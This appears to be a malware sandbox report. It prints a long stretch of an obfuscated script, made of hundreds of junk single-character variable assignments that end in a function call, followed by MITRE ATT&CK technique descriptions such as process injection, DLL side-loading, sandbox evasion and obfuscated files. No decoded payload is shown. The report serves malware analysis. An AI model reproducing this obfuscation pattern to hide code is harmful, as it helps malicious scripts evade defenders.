379	bucynv = "G";
380	bucynv = "w";
381	bucynv = "\\";
382	vmjxn = "P";
383	vmjxn = "V";
384	vmjxn = "K";
385	vmjxn = "O";
386	vmjxn = "H";
387	vmjxn = "L";
388	vmjxn = "p";
389	vmjxn = "x";
390	vmjxn = "k";
391	vmjxn = "w";
392	vmjxn = "H";
393	vmjxn = "R";
394	vmjxn = "G";
395	vmjxn = "D";
396	vmjxn = "C";
397	vmjxn = "P";
398	vmjxn = "E";
399	vmjxn = "j";
400	vmjxn = "I";
401	vmjxn = "C";
402	vmjxn = "u";
403	vmjxn = "p";
404	vmjxn = "J";
405	vmjxn = "P";
406	vmjxn = "e";
407	vmjxn = "A";
408	vmjxn = "W";
409	vmjxn = "q";
410	urikgwl = "G";
411	urikgwl = "t";
412	urikgwl = "r";
413	urikgwl = "Y";
414	urikgwl = "g";
415	urikgwl = "M";
416	urikgwl = "P";
417	urikgwl = "Z";
418	urikgwl = "l";
419	urikgwl = "f";
420	urikgwl = "Y";
421	urikgwl = "p";
422	urikgwl = "l";
423	urikgwl = "J";
424	urikgwl = "V";
425	urikgwl = "X";
426	urikgwl = "L";
427	urikgwl = "H";
428	urikgwl = "v";
429	urikgwl = "Q";
430	urikgwl = "G";
431	urikgwl = "g";
432	urikgwl = "F";
433	urikgwl = "l";
434	urikgwl = "g";
435	urikgwl = "f";
436	urikgwl = "r";
437	urikgwl = "o";
438	urikgwl = "J";
439	urikgwl = "q";
440	urikgwl = "g";
441	rznhlkn = "f";
442	rznhlkn = "H";
443	rznhlkn = "G";
444	rznhlkn = "w";
445	rznhlkn = "O";
446	rznhlkn = "x";
447	rznhlkn = "Z";
448	rznhlkn = "W";
449	rznhlkn = "Y";
450	rznhlkn = "e";
451	rznhlkn = "K";
452	rznhlkn = "c";
453	rznhlkn = "G";
454	rznhlkn = "y";
455	rznhlkn = "L";
456	rznhlkn = "l";
457	rznhlkn = "f";
458	rznhlkn = "t";
459	rznhlkn = "I";
460	rznhlkn = "d";
461	rznhlkn = "I";
462	rznhlkn = "H";
463	rznhlkn = "L";
464	rznhlkn = "M";
465	rznhlkn = "L";
466	rznhlkn = "Z";
467	rznhlkn = "O";
468	rznhlkn = "n";
469	owssdwm = "h";
470	owssdwm = "b";
471	lkdmlkbxt = "L";
472	lkdmlkbxt = "o";
473	lkdmlkbxt = "E";
474	lkdmlkbxt = "a";
475	lkdmlkbxt = "d";
476	lkdmlkbxt = "E";
477	cuixagb = "c";
478	cuixagb = "X";
479	cuixagb = "x";
480	cuixagb = "h";
481	cuixagb = "E";
482	cuixagb = "J";
483	cuixagb = "V";
484	cuixagb = "l";
485	cuixagb = "h";
486	cuixagb = "S";
487	cuixagb = "X";
488	cuixagb = "u";
489	vodzrwo = "u";
490	vodzrwo = "z";
491	vodzrwo = "g";
492	vodzrwo = "G";
493	vodzrwo = "Z";
494	vodzrwo = "u";
495	vodzrwo = "d";
496	vodzrwo = "a";
497	vodzrwo = "R";
498	vodzrwo = "a";
499	vodzrwo = "A";
500	vodzrwo = "n";
501	vodzrwo = "j";
502	vodzrwo = "R";
503	vodzrwo = "f";
504	vodzrwo = "Q";
505	vodzrwo = "k";
506	vodzrwo = "c";
507	vodzrwo = "V";
508	vodzrwo = "R";
509	vodzrwo = "I";
510	vodzrwo = "K";
511	vodzrwo = "D";
512	vodzrwo = "k";
513	vodzrwo = "l";
514	vodzrwo = "c";
515	vodzrwo = "G";
516	vodzrwo = "t";
517	pshkk = "T";
518	pshkk = "u";
519	pshkk = "r";
520	pshkk = "n";
521	pshkk = "q";
522	pshkk = "v";
523	pshkk = "u";
524	pshkk = "K";
525	pshkk = "b";
526	pshkk = "H";
527	pshkk = "e";
528	pshkk = "Y";
529	pshkk = "u";
530	pshkk = "n";
531	pshkk = "t";
532	pshkk = "E";
533	pshkk = "g";
534	pshkk = "V";
535	pshkk = "j";
536	pshkk = "x";
537	pshkk = "c";
538	pshkk = "c";
539	pshkk = "t";
540	pshkk = "p";
541	pshkk = "e";
542	pshkk = "Z";
543	pshkk = "w";
544	pshkk = "M";
545	pshkk = "K";
546	pshkk = "w";
547	nnskvcd = "V";
548	nnskvcd = "y";
549	nnskvcd = "d";
550	nnskvcd = "y";
551	nnskvcd = "Z";
552	nnskvcd = "N";
553	nnskvcd = "N";
554	nnskvcd = "i";
555	nnskvcd = "R";
556	coxrfxv = "p";
557	coxrfxv = "G";
558	coxrfxv = "L";
559	coxrfxv = "q";
560	coxrfxv = "l";
561	coxrfxv = "D";
562	coxrfxv = "w";
563	coxrfxv = "F";
564	coxrfxv = "w";
565	coxrfxv = "Q";
566	coxrfxv = "C";
567	coxrfxv = "e";
568	coxrfxv = "l";
569	coxrfxv = "M";
570	coxrfxv = "e";
571	coxrfxv = "q";
572	coxrfxv = "k";
573	coxrfxv = "W";
574	coxrfxv = "o";
575	coxrfxv = "h";
576	coxrfxv = "x";
577	coxrfxv = "i";
578	coxrfxv = "o";
579	coxrfxv = "U";
580	coxrfxv = "X";
581	coxrfxv = "s";
582	coxrfxv = "A";
583	coxrfxv = "C";
584	coxrfxv = "P";
585	coxrfxv = "e";
586	coxrfxv = "o";
587	eotmivjml = "&";
588	cacyl = "h";
589	cacyl = "U";
590	cacyl = "u";
591	cacyl = "X";
592	cacyl = "j";
593	cacyl = "H";
594	cacyl = "f";
595	cacyl = "Q";
596	cacyl = "z";
597	cacyl = "z";
598	cacyl = "e";
599	cacyl = "b";
600	cacyl = "a";
601	cacyl = "n";
602	cacyl = "Q";
603	cacyl = "U";
604	cacyl = "j";
605	cacyl = "Q";
606	vpwzfd = "M";
607	vpwzfd = "I";
608	vpwzfd = "U";
609	vpwzfd = "z";
610	vpwzfd = "A";
611	vpwzfd = "W";
612	vpwzfd = "K";
613	vpwzfd = "t";
614	vpwzfd = "K";
615	vpwzfd = "i";
616	vpwzfd = "q";
617	vpwzfd = "o";
618	vpwzfd = "J";
619	vpwzfd = "u";
620	vpwzfd = "y";
621	vpwzfd = "k";
622	vpwzfd = "m";
623	vpwzfd = "i";
624	vpwzfd = "d";
625	vpwzfd = "o";
626	vpwzfd = "d";
627	vpwzfd = "h";
628	vpwzfd = "F";
629	vpwzfd = "i";
630	vpwzfd = "G";
631	vpwzfd = "V";
632	vpwzfd = "w";
633	vpwzfd = "p";
634	vpwzfd = "e";
635	vpwzfd = "y";
636	vpwzfd = "B";
637	vpwzfd = "L";
638	vpwzfd = "N";
639	vpwzfd = "A";
640	vpwzfd = "P";
641	vpwzfd = "h";
642	vpwzfd = "W";
643	vpwzfd = "R";
644	vpwzfd = "r";
645	eelhsy = "g";
646	eelhsy = "A";
647	eelhsy = "o";
648	eelhsy = "P";
649	eelhsy = "D";
650	eelhsy = "n";
651	eelhsy = "k";
652	eelhsy = "F";
653	eelhsy = "h";
654	eelhsy = "m";
655	eelhsy = "f";
656	eelhsy = "m";
657	eelhsy = "n";
658	eelhsy = "M";
659	eelhsy = "y";
660	eelhsy = "H";
661	eelhsy = "F";
662	eelhsy = "v";
663	eelhsy = "E";
664	eelhsy = "U";
665	eelhsy = "b";
666	eelhsy = "I";
667	eelhsy = "o";
668	eelhsy = "t";
669	eelhsy = "n";
670	eelhsy = "v";
671	eelhsy = "u";
672	eelhsy = "R";
673	eelhsy = "B";
674	eelhsy = "p";
675	eelhsy = "x";
676	eelhsy = "i";
677	eelhsy = "O";
678	eelhsy = "v";
679	eelhsy = "s";
680	lfrmmo = "o";
681	lfrmmo = "w";
682	lfrmmo = "j";
683	lfrmmo = "U";
684	lfrmmo = "e";
685	lfrmmo = "C";
686	lfrmmo = "F";
687	lfrmmo = "g";
688	lfrmmo = "S";
689	lfrmmo = "h";
690	uohudwjl = "L";
691	uohudwjl = "y";
692	uohudwjl = "J";
693	uohudwjl = "R";
694	uohudwjl = "C";
695	uohudwjl = "Q";
696	uohudwjl = "q";
697	uohudwjl = "q";
698	uohudwjl = "q";
699	uohudwjl = "h";
700	uohudwjl = "o";
701	uohudwjl = "m";
702	huaskw = "g";
703	huaskw = "D";
704	huaskw = "V";
705	huaskw = "q";
706	huaskw = "A";
707	huaskw = "p";
708	huaskw = "g";
709	huaskw = "b";
710	huaskw = "D";
711	huaskw = "m";
712	huaskw = "N";
713	huaskw = "a";
714	huaskw = "H";
715	huaskw = "f";
716	huaskw = "z";
717	huaskw = "B";
718	huaskw = "N";
719	huaskw = "A";
720	huaskw = "c";
721	huaskw = "j";
722	huaskw = "v";
723	huaskw = "E";
724	huaskw = "p";
725	huaskw = "q";
726	huaskw = "q";
727	huaskw = "F";
728	huaskw = "t";
729	huaskw = "T";
730	huaskw = "c";
731	huaskw = "l";
732	huaskw = "y";
733	huaskw = "X";
734	huaskw = "m";
735	huaskw = "W";
736	huaskw = "w";
737	huaskw = "g";
738	huaskw = "T";
739	huaskw = "S";
740	huaskw = "K";
741	huaskw = "l";
742	huaskw = "M";
743	huaskw = "\"";
744	woohsbcj = "N";
745	woohsbcj = "P";
746	woohsbcj = "s";
747	woohsbcj = "h";
748	woohsbcj = "l";
749	woohsbcj = "E";
750	woohsbcj = "l";
751	woohsbcj = "O";
752	woohsbcj = "a";
753	woohsbcj = "O";
754	woohsbcj = "Y";
755	woohsbcj = "H";
756	woohsbcj = "b";
757	woohsbcj = "I";
758	woohsbcj = "h";
759	woohsbcj = " ";
760	djkufx = "B";
761	djkufx = "O";
762	djkufx = "t";
763	djkufx = "Y";
764	djkufx = "y";
765	djkufx = "G";
766	djkufx = "Q";
767	djkufx = "H";
768	djkufx = "z";
769	djkufx = "v";
770	djkufx = "W";
771	djkufx = "Y";
772	djkufx = "H";
773	gskxvfzo = "u";
774	gskxvfzo = "o";
775	gskxvfzo = "G";
776	gskxvfzo = "b";
777	gskxvfzo = "p";
778	gskxvfzo = "k";
779	gskxvfzo = "J";
780	gskxvfzo = "a";
781	gskxvfzo = "d";
782	gskxvfzo = "c";
783	gskxvfzo = "Q";
784	gskxvfzo = "B";
785	gskxvfzo = "T";
786	gskxvfzo = "s";
787	gskxvfzo = "F";
788	gskxvfzo = "x";
789	gskxvfzo = "l";
790	gskxvfzo = "o";
791	gskxvfzo = "Y";
792	gskxvfzo = "i";
793	gskxvfzo = ".";
794	zckanvng = "U";
795	zckanvng = "U";
796	zckanvng = "M";
797	zckanvng = "D";
798	zckanvng = "a";
799	zckanvng = "x";
800	zckanvng = "s";
801	zckanvng = "d";
802	zckanvng = "X";
803	zckanvng = "d";
804	zckanvng = "Y";
805	zckanvng = "y";
806	zckanvng = "c";
807	zckanvng = "Z";
808	zckanvng = "c";
809	zckanvng = "i";
810	aozsyblpa = "D";
811	aozsyblpa = "u";
812	aozsyblpa = "q";
813	aozsyblpa = "V";
814	aozsyblpa = "J";
815	aozsyblpa = "C";
816	aozsyblpa = "G";
817	aozsyblpa = "M";
818	aozsyblpa = "z";
819	aozsyblpa = "n";
820	aozsyblpa = "i";
821	aozsyblpa = "F";
822	aozsyblpa = "C";
823	aozsyblpa = "q";
824	aozsyblpa = "c";
825	aozsyblpa = "K";
826	aozsyblpa = "a";
827	aozsyblpa = "c";
828	aozsyblpa = "g";
829	aozsyblpa = "U";
830	aozsyblpa = "U";
831	aozsyblpa = "H";
832	aozsyblpa = "c";
833	aozsyblpa = "s";
834	aozsyblpa = "L";
835	aozsyblpa = "Y";
836	aozsyblpa = "i";
837	aozsyblpa = "n";
838	aozsyblpa = "h";
839	aozsyblpa = "m";
840	aozsyblpa = "e";
841	aozsyblpa = "U";
842	aozsyblpa = "f";
843	aozsyblpa = "l";
844	aozsyblpa = "K";
845	aozsyblpa = "e";
846	qyraftchq = "S";
847	qyraftchq = "u";
848	qyraftchq = "y";
849	qyraftchq = "G";
850	qyraftchq = "g";
851	qyraftchq = "p";
852	qyraftchq = "l";
853	qyraftchq = "R";
854	qyraftchq = "G";
855	qyraftchq = "P";
856	qyraftchq = "d";
857	qyraftchq = "T";
858	qyraftchq = "l";
859	qyraftchq = "C";
860	lhgva = "U";
861	lhgva = "v";
862	lhgva = "z";
863	lhgva = "i";
864	lhgva = "v";
865	lhgva = "r";
866	lhgva = "/";
867	lbpzcollv = "U";
868	lbpzcollv = "s";
869	lbpzcollv = "s";
870	lbpzcollv = "R";
871	lbpzcollv = "x";
872	lbpzcollv = "T";
873	lbpzcollv = "e";
874	lbpzcollv = "P";
875	lbpzcollv = "t";
876	lbpzcollv = "h";
877	lbpzcollv = "B";
878	lbpzcollv = "P";
879	lbpzcollv = "Q";
880	lbpzcollv = "a";
881	lbpzcollv = "Q";
882	lbpzcollv = "Q";
883	lbpzcollv = "x";
884	nobusm = "b";
885	nobusm = "P";
886	nobusm = "C";
887	nobusm = "N";
888	nobusm = "r";
889	nobusm = "w";
890	nobusm = "q";
891	nobusm = "V";
892	nobusm = "x";
893	nobusm = "K";
894	nobusm = "R";
895	nobusm = "X";
896	nobusm = "H";
897	nobusm = "T";
898	nobusm = "z";
899	nobusm = "V";
900	nobusm = "h";
901	nobusm = "D";
902	nobusm = "v";
903	nobusm = "t";
904	nobusm = "V";
905	nobusm = "t";
906	nobusm = "y";
907	nobusm = "s";
908	nobusm = "y";
909	nobusm = "k";
910	nobusm = "h";
911	nobusm = "L";
912	nobusm = "a";
913	nobusm = "C";
914	nobusm = "K";
915	nobusm = "s";
916	nobusm = "p";
917	nobusm = "u";
918	nobusm = "s";
919	nobusm = "p";
920	nobusm = "h";
921	nobusm = "e";
922	nobusm = "W";
923	nobusm = "_";
924	ezhyp = "j";
925	ezhyp = "U";
926	ezhyp = "c";
927	ezhyp = "a";
928	ezhyp = "z";
929	ezhyp = "n";
930	ezhyp = "P";
931	ezhyp = "T";
932	ezhyp = "f";
933	ezhyp = "e";
934	ezhyp = "N";
935	ezhyp = "f";
936	ezhyp = "m";
937	ezhyp = "Q";
938	ezhyp = "v";
939	ezhyp = "B";
940	ezhyp = "i";
941	ezhyp = "H";
942	ezhyp = "b";
943	ezhyp = "M";
944	ezhyp = "P";
945	rotvvhkht = "3";
946	phkvfducb = "t";
947	phkvfducb = "x";
948	phkvfducb = "n";
949	phkvfducb = "J";
950	phkvfducb = "A";
951	phkvfducb = "4";
952	nqoilrzi = "S";
953	nqoilrzi = "f";
954	nqoilrzi = "g";
955	nqoilrzi = "X";
956	nqoilrzi = "C";
957	nqoilrzi = "w";
958	nqoilrzi = "q";
959	nqoilrzi = "v";
960	nqoilrzi = "p";
961	nqoilrzi = "z";
962	nqoilrzi = "A";
963	nqoilrzi = "p";
964	nqoilrzi = "l";
965	nqoilrzi = "Q";
966	nqoilrzi = "D";
967	nqoilrzi = "f";
968	nqoilrzi = "Z";
969	nqoilrzi = "l";
970	nqoilrzi = "B";
971	nqoilrzi = "O";
972	nqoilrzi = "O";
973	nqoilrzi = "w";
974	nqoilrzi = "E";
975	nqoilrzi = "b";
976	nqoilrzi = "h";
977	nqoilrzi = "Z";
978	nqoilrzi = "I";
979	nqoilrzi = "W";
980	nqoilrzi = "S";
981	finzp = "e";
982	finzp = "G";
983	finzp = "B";
984	finzp = "X";
985	finzp = "c";
986	finzp = "q";
987	finzp = "c";
988	finzp = "e";
989	finzp = "M";
990	finzp = "%";
991	iqccttcw = "P";
992	iqccttcw = "w";
993	iqccttcw = "q";
994	iqccttcw = "Y";
995	iqccttcw = "j";
996	iqccttcw = "l";
997	iqccttcw = "V";
998	iqccttcw = "L";
999	iqccttcw = "m";
1000	iqccttcw = "R";
1001	iqccttcw = "D";
1002	iqccttcw = "h";
1003	iqccttcw = "j";
1004	iqccttcw = "S";
1005	iqccttcw = "Q";
1006	iqccttcw = "U";
1007	iqccttcw = "t";
1008	iqccttcw = "E";
1009	iqccttcw = "-";
1010	ekiwliau = "U";
1011	ekiwliau = "T";
1012	ekiwliau = "j";
1013	ekiwliau = "K";
1014	ekiwliau = "s";
1015	ekiwliau = "q";
1016	ekiwliau = "a";
1017	ekiwliau = "A";
1018	ekiwliau = "o";
1019	ekiwliau = "G";
1020	ekiwliau = "j";
1021	ekiwliau = "H";
1022	ekiwliau = "L";
1023	ekiwliau = "o";
1024	ekiwliau = "U";
1025	ekiwliau = "M";
1026	ekiwliau = "p";
1027	ekiwliau = "T";
1028	ispyv = "P";
1029	ispyv = "F";
1030	ispyv = "O";
1031	ispyv = "G";
1032	ispyv = "y";
1033	ispyv = "B";
1034	ispyv = "E";
1035	ispyv = "S";
1036	ispyv = "W";
1037	ispyv = "h";
1038	ispyv = "E";
1039	ispyv = "B";
1040	ispyv = "g";
1041	ispyv = "C";
1042	ispyv = "O";
1043	ispyv = "S";
1044	ispyv = "Q";
1045	ispyv = "Q";
1046	ispyv = "J";
1047	ispyv = "p";
1048	ispyv = "f";
1049	ispyv = "B";
1050	ispyv = "v";
1051	ispyv = "w";
1052	ispyv = "b";
1053	ispyv = "q";
1054	ispyv = "J";
1055	ispyv = "K";
1056	ispyv = "t";
1057	ispyv = "d";
1058	ispyv = "l";
1059	ispyv = "Y";
1060	ispyv = "m";
1061	ispyv = "i";
1062	ispyv = "d";
1063	ispyv = "A";
1064	ispyv = "S";
1065	ispyv = "r";
1066	ispyv = "n";
1067	ispyv = "@";
1068	xcleiaes = "f";
1069	xcleiaes = "w";
1070	xcleiaes = "Y";
1071	xcleiaes = "Q";
1072	xcleiaes = "A";
1073	xcleiaes = "Z";
1074	xcleiaes = "c";
1075	xcleiaes = "l";
1076	xcleiaes = "e";
1077	xcleiaes = "F";
1078	xcleiaes = "v";
1079	xcleiaes = "d";
1080	xcleiaes = "w";
1081	xcleiaes = "v";
1082	xcleiaes = "Q";
1083	xcleiaes = "V";
1084	xcleiaes = "r";
1085	xcleiaes = "l";
1086	xcleiaes = "e";
1087	xcleiaes = "W";
1088	xcleiaes = "j";
1089	xcleiaes = "C";
1090	xcleiaes = "t";
1091	xcleiaes = "O";
1092	tvvvxih = "w";
1093	tvvvxih = "L";
1094	tvvvxih = "H";
1095	tvvvxih = "z";
1096	tvvvxih = "Y";
1097	tvvvxih = "a";
1098	tvvvxih = "Z";
1099	tvvvxih = "Z";
1100	tvvvxih = "D";
1101	tvvvxih = "E";
1102	tvvvxih = "Y";
1103	tvvvxih = "P";
1104	tvvvxih = "i";
1105	tvvvxih = "r";
1106	tvvvxih = "B";
1107	tvvvxih = "k";
1108	tvvvxih = "v";
1109	tvvvxih = "R";
1110	tvvvxih = "u";
1111	tvvvxih = "R";
1112	tvvvxih = "m";
1113	tvvvxih = "j";
1114	klprkw = "q";
1115	klprkw = "h";
1116	klprkw = "m";
1117	klprkw = "l";
1118	klprkw = "i";
1119	klprkw = "x";
1120	klprkw = "P";
1121	klprkw = "x";
1122	klprkw = "T";
1123	klprkw = "P";
1124	klprkw = "C";
1125	klprkw = "s";
1126	klprkw = "S";
1127	klprkw = "D";
1128	klprkw = "u";
1129	klprkw = "m";
1130	klprkw = "I";
1131	klprkw = "l";
1132	klprkw = "Y";
1133	klprkw = "k";
1134	klprkw = "T";
1135	klprkw = "s";
1136	klprkw = "O";
1137	klprkw = "B";
1138	klprkw = "7";
1139	qdhbpklkx = "Y";
1140	qdhbpklkx = "z";
1141	qdhbpklkx = "n";
1142	qdhbpklkx = "f";
1143	qdhbpklkx = "G";
1144	qdhbpklkx = "N";
1145	qdhbpklkx = "y";
1146	qdhbpklkx = "L";
1147	qdhbpklkx = "J";
1148	qdhbpklkx = "R";
1149	qdhbpklkx = "r";
1150	qdhbpklkx = "u";
1151	qdhbpklkx = "z";
1152	qdhbpklkx = "v";
1153	qdhbpklkx = "E";
1154	qdhbpklkx = "S";
1155	qdhbpklkx = "p";
1156	ylomnl = "K";
1157	ylomnl = "j";
1158	ylomnl = "C";
1159	ylomnl = "k";
1160	ylomnl = "y";
1161	ylomnl = "w";
1162	ylomnl = "N";
1163	ylomnl = "U";
1164	ylomnl = "q";
1165	ylomnl = "k";
1166	ylomnl = "p";
1167	ylomnl = "O";
1168	ylomnl = "e";
1169	ylomnl = "V";
1170	ylomnl = "N";
1171	ylomnl = "A";
1172	ylomnl = "V";
1173	ylomnl = "A";
1174	ylomnl = "K";
1175	ylomnl = "J";
1176	ylomnl = "z";
1177	ylomnl = "Z";
1178	ylomnl = "F";
1179	ylomnl = "B";
1180	ylomnl = "w";
1181	ylomnl = "F";
1182	ylomnl = "v";
1183	ylomnl = "g";
1184	ylomnl = "B";
1185	ylomnl = "W";
1186	ylomnl = "x";
1187	ylomnl = "k";
1188	ylomnl = "D";
1189	ylomnl = "n";
1190	ylomnl = "h";
1191	ylomnl = "Z";
1192	ylomnl = "P";
1193	ylomnl = "q";
1194	ylomnl = "h";
1195	ylomnl = "e";
1196	ylomnl = "l";
1197	gvuepflnk = "U";
1198	gvuepflnk = "B";
1199	gvuepflnk = "q";
1200	gvuepflnk = "w";
1201	gvuepflnk = "l";
1202	gvuepflnk = "P";
1203	gvuepflnk = "m";
1204	gvuepflnk = "k";
1205	gvuepflnk = "s";
1206	gvuepflnk = "c";
1207	gvuepflnk = "r";
1208	gvuepflnk = "K";
1209	gvuepflnk = "W";
1210	rzggvsr = "a";
1211	rzggvsr = "g";
1212	rzggvsr = "P";
1213	rzggvsr = "Y";
1214	rzggvsr = "R";
1215	rzggvsr = "V";
1216	rzggvsr = "M";
1217	rzggvsr = "N";
1218	rzggvsr = "U";
1219	rzggvsr = "O";
1220	rzggvsr = "Q";
1221	rzggvsr = "R";
1222	rzggvsr = "P";
1223	rzggvsr = "n";
1224	rzggvsr = "P";
1225	rzggvsr = "Q";
1226	rzggvsr = "r";
1227	rzggvsr = "D";
1228	rzggvsr = "s";
1229	rzggvsr = "t";
1230	rzggvsr = "C";
1231	rzggvsr = ":";
1232	kpdkaqpb = "D";
1233	kpdkaqpb = "l";
1234	kpdkaqpb = "O";
1235	kpdkaqpb = "g";
1236	kpdkaqpb = "n";
1237	kpdkaqpb = "T";
1238	kpdkaqpb = "z";
1239	kpdkaqpb = "y";
1240	kpdkaqpb = "j";
1241	kpdkaqpb = "s";
1242	kpdkaqpb = "y";
1243	kpdkaqpb = "c";
1244	kpdkaqpb = "b";
1245	kpdkaqpb = "O";
1246	kpdkaqpb = "K";
1247	kpdkaqpb = "Z";
1248	kpdkaqpb = "u";
1249	kpdkaqpb = "u";
1250	kpdkaqpb = "O";
1251	kpdkaqpb = "h";
1252	kpdkaqpb = "e";
1253	kpdkaqpb = "M";
1254	kpdkaqpb = "h";
1255	kpdkaqpb = "v";
1256	kpdkaqpb = "P";
1257	kpdkaqpb = "t";
1258	kpdkaqpb = "f";
1259	kpdkaqpb = "W";
1260	kpdkaqpb = "B";
1261	kpdkaqpb = "K";
1262	kpdkaqpb = "U";
1263	zmsirdn = "l";
1264	zmsirdn = "n";
1265	zmsirdn = "9";
1266	qcxyllx = "v";
1267	xdqvjr = "V";
1268	xdqvjr = "f";
1269	xdqvjr = "M";
1270	xdqvjr = "s";
1271	xdqvjr = "k";
1272	xdqvjr = "v";
1273	xdqvjr = "X";
1274	xdqvjr = "L";
1275	xdqvjr = "p";
1276	xdqvjr = "B";
1277	xdqvjr = "V";
1278	xdqvjr = "l";
1279	xdqvjr = "X";
1280	xdqvjr = "j";
1281	xdqvjr = "t";
1282	xdqvjr = "a";
1283	xdqvjr = "M";
1284	xdqvjr = "c";
1285	xdqvjr = "w";
1286	xdqvjr = "s";
1287	xdqvjr = "X";
1288	xdqvjr = "g";
1289	xdqvjr = "T";
1290	xdqvjr = "M";
1291	xdqvjr = "c";
1292	xdqvjr = "l";
1293	xdqvjr = "0";
1294	efqvvyr = "V";
1295	efqvvyr = "g";
1296	efqvvyr = "P";
1297	efqvvyr = "w";
1298	efqvvyr = "N";
1299	efqvvyr = "b";
1300	efqvvyr = "E";
1301	efqvvyr = "P";
1302	efqvvyr = "n";
1303	efqvvyr = "W";
1304	efqvvyr = "O";
1305	efqvvyr = "m";
1306	efqvvyr = "W";
1307	efqvvyr = "t";
1308	efqvvyr = "i";
1309	efqvvyr = "d";
1310	efqvvyr = "a";
1311	efqvvyr = "e";
1312	efqvvyr = "Y";
1313	efqvvyr = "c";
1314	efqvvyr = "u";
1315	efqvvyr = "F";
1316	efqvvyr = "q";
1317	efqvvyr = "y";
1318	efqvvyr = "Q";
1319	efqvvyr = "O";
1320	efqvvyr = "Y";
1321	efqvvyr = "M";
1322	efqvvyr = "S";
1323	efqvvyr = "E";
1324	efqvvyr = "H";
1325	efqvvyr = "c";
1326	efqvvyr = "L";
1327	sklplzusg ( );	sklplzusg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

